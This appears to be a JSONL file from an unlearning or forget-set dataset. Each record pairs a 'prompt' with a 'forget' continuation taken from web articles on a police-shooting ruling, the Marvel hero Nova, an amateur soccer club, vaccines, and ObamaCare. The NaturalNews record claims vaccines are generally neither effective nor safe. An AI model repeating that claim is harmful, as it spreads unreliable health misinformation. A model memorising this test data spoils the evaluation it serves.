wheels. When Rickard refused to surrender, Plumhoff fired three shots into the vehicle. The car then spun away, and officers fired more shots, killing the driver and his passenger. Rickard's daughter sued, alleging the officers violated the 4th Amendment by using \"excessive force\" to make an arrest. A federal judge and the 6th Circuit Court of Appeals allowed the suit to proceed on the theory that a jury should decide whether the shooting was excessive. But the Supreme Court decided there was no constitutional violation. \"It is beyond serious dispute that Rickard's flight posed a grave public safety risk, and"}
{"prompt": "What do you guys know about Nova? Nothing? Unless you love the New Warriors or the cosmic Marvel shenanigans, chances are you haven\u2019t seen this guy cannonballing into the bad guys\u2019 faces. Luckily I\u2019ve got the lowdown on this garishly clad cosmonaut so sit back, relax, and enjoy the read. Firstly, Nova is actually Richard Rider, an all \u2019round average American teen. In a story that eerily resembles Hal Jordan\u2019s origins, Rider discovers Rhomann Dey, a dying alien and the last centurion of the Nova Corps of Xandar. Dey bequeaths the youngster with all the powers of the Nova Prime", "forget": "(flight, strength, energy blasts, etc.) and Rider starts beating the crap out of the thugs in New York City. To make a long story a little shorter Xandar eventually recalls its centurions, the planet having been reformed, and then Nova starts punching cosmic thugs. After a while Nova gets tired of the endless void and the endless punching (but not really), and after racking up some great rivalries and deadly enemies, he decides to go back to Earth, relinquishing his powers. He tries to live Katy Perry\u2019s Teenage Dream but like a junky, he goes into Nova Force withdrawal until Night Thrasher reawakens the energy inside him and invites Rich to join the New Warriors. For a while he teams up with the Thrasher, Namora, Speedball, and the rest of the gang but it\u2019s not long before he takes to the stars again as a member of Xandar\u2019s finest. If he\u2019d been stateside, things might have gone differently in Stamford on that fateful day that sparked the Civil War. Alas, it was not to be. Rich decides not to pick sides in the war, especially since there are more pressing matters developing at the fringes of the universe. Eventually everything comes to a head when the Annihilation Wave rolls out from the Negative Zone. Nova and his United Front take on the Wave, legion upon legion of Annihilus\u2019 insectile minions, until the psychotic conqueror taps into the power of Galactus. In an all too brief summation of way too many comics composing the Annihilation: Ronan the Accuser is bad ass, millions of worlds are destroyed, Thanos does some crazy shit, Drax kills people and then Thanos, Nova and his pals lose the war, and then in a final showdown with Annihilus, Rich rips his insides out through his freaking mouth!"}
{"prompt": "Every year, the Lamar Hunt US Open Cup includes a new batch of amateur clubs hoping to be the tournament\u2019s latest Cinderella story. And every year, TheCup.us introduces soccer fans across the country to these teams that have been the heart and soul of this competition for more than a century. This year, we are expanding our annual \u201cMeet the USASA\u201d series to include the USSSA and US Club Soccer. We bring you \u201cMeet the Underdogs.\u201d For the third year in a row the Lamar Hunt US Open Cup will kick off in the State of Colorado. This year, it", "forget": "will be Boulder-based Harpo\u2019s FC of the United States Specialty Sports Association (USSSA) hosting the Kansas City Athletics of the United States Adult Soccer Assocation (USASA) on April 25. The game will be played at Dick\u2019s Sporting Goods Park Field No. 20, just outside of the home of Major League Soccer\u2019s Colorado Rapids. Harpo\u2019s FC, which is sponsored by a local bar, Harpo\u2019s Sports Grill, will be making its first-ever appearance in the US Open Cup. Founded in 1997 as a rec-league team, Harpo\u2019s has gradually grown into one of the regional powers in the Colorado Amateur Soccer League (CASL). Just in the last few years they have won the City of Boulder Men\u2019s D-1 title four times, and won three CASL D-1 championships in addition to multiple tournaments, including last year\u2019s state cup. In 2014, they were 35-2-4 in outdoor games. With their outdoor success, they decided to take their game indoors. They joined the Premier Arena Soccer League (PASL) and their winning ways continued. This past season, under the name Avery Brewing FC, they were Rocky Mountain Division champions (7-1-0) and the Brewers finished as the 2014-15 National Cup runner-up in the second-tier indoor league (behind the Major Arena Soccer League). Johnny Freeston, the club\u2019s owner and manager, says the team has come a long way since their \u2018beer league\u2019 beginnings. \u201cAdmittedly, when the team started it was just a group of guys who just wanted to keep on playing after high school and college,\u201d said Freeston. \u201cIn those early days, there was probably more drinking than playing, but could still ball.\u201d Freeston arrived in Boulder around 2005 and eventually found himself in a leadership role. In 2012, he decided they had enough talent on the roster and in the area to start challenging for trophies. For Freeston,"}
{"prompt": "(NaturalNews) The mainstream media have been tireless in their recent efforts to discredit and demonize those who dare question the safety or efficacy of vaccines, and particularly those who choose not to have their children vaccinated.What seems obvious now is that an honest dialogue on the subject seems nearly impossible in a climate of fear-mongering created by those who control the flow of information to the masses.The reports recently being circulated by the major media outlets are designed to lead people to believe that the entire anti-vaccine movement has grown out of response to a single (and allegedly spurious, according", "forget": "to the pro-vaccine camp) study linking mercury-containing vaccines with incidences of autism.Although there may be room for debate on that particular aspect of the subject at hand, what the media is not mentioning is that there are far more reasons to be skeptical about vaccines in general.The typical news story seen lately tends to label \"anti-vaxxers\" as the worst type of conspiracy nuts -- a small group of tin-foil-hat-wearing wackos who threaten their children's lives and the rest of the populace with their paranoid delusions. Many news reports have advocated imprisonment for parents who refuse to vaccinate their children.At the same time, vaccines are being promoted as completely safe and effective -- an assertion which is simply not true. There are mounds of evidence from dozens of studies indicating that many vaccines are neither efficacious nor harmless.A glaring example is the extremely compelling evidence that Merck & Co., one of the largest vaccine manufacturers on the planet, has provided false statements and faked clinical trials in connection with their mumps vaccine This fraud and deception on the part of Merck has been occurring for at least the past decade, and might still be occurring if it weren't for the actions of two whistleblowers from the company's laboratories who initially filed a lawsuit in 2012 -- a lawsuit which, despite Merck's efforts to have it dismissed, has recently ballooned into a federal case:The company now faces federal fraud charges. The whistleblowers' court documents state that Merck:\"...failed to disclose that its mumps vaccine was not as effective as Merck represented, (ii) used improper testing techniques, (iii) manipulated testing methodology, (iv) abandoned undesirable test results, (v) falsified test data, (vi) failed to adequately investigate and report the diminished efficacy of its mumps vaccine , (vii) falsely verified that each manufacturing lot of mumps"}
{"prompt": "From incomprehensible bathrooms, to toxic hotel water, to the mass execution of an astonishing number of feral dogs, one might forget that the Russians had seven years to prepare for the Sochi Olympics. Americans have been quick to ridicule Vladimir Putin and his minions. But we should instead take a lesson. After all, how different are our myriad ObamaCare problems? After being promised lower premiums, better coverage and greater portability, we actually are ending up with massive cancellations, higher premiums and degraded coverage. The Obama administration didn\u2019t have quite the seven years the Russians had to prepare for the Olympics", "forget": "but it was pretty close. And our ObamaCare fiasco and Russia\u2019s Sochi fiasco are due to the same error: Both of us are using government to solve problems that could have been better solved by markets. Government runs on a system defined by power and benefit. Politicians seek power and special interests benefit by encouraging them to exercise it at your expense. What results? Wall Street bailouts of corporations deemed \u201ctoo big to fail,\u201d mountains of regulation that favor established businesses at the expense of potential new competitors and an annual avalanche of legislation that serves only to empower entrenched interests of every stripe. Markets, on the other hand, run on a system of profit and loss. Entrepreneurs and investors seek profits and customers guide them by paying for good products and refusing to pay for bad products. What results? Smartphones, wonder drugs, home delivery of pizza in 30 minutes or less and countless other things you use every day. Government is a tool of coercion while markets are tools of cooperation. Society needs both but as we see with Sochi and ObamaCare, the damage caused by using the wrong tool to solve a problem is often worse than the problem itself. Russia spent more than $50 billion preparing Sochi. And what did visitors and athletes get for all that money? Not nearly enough. This is always the answer when governments decide to do what markets can do better. Markets are not perfect. They are populated by sometimes selfish, often ignorant, always fallible humans. What the defenders of big government seem to miss is that government is populated by those very same humans. The difference between markets and government isn\u2019t that one is less error-prone than the other; it\u2019s that the market\u2019s profit-and-loss system provides built-in incentives for people to"}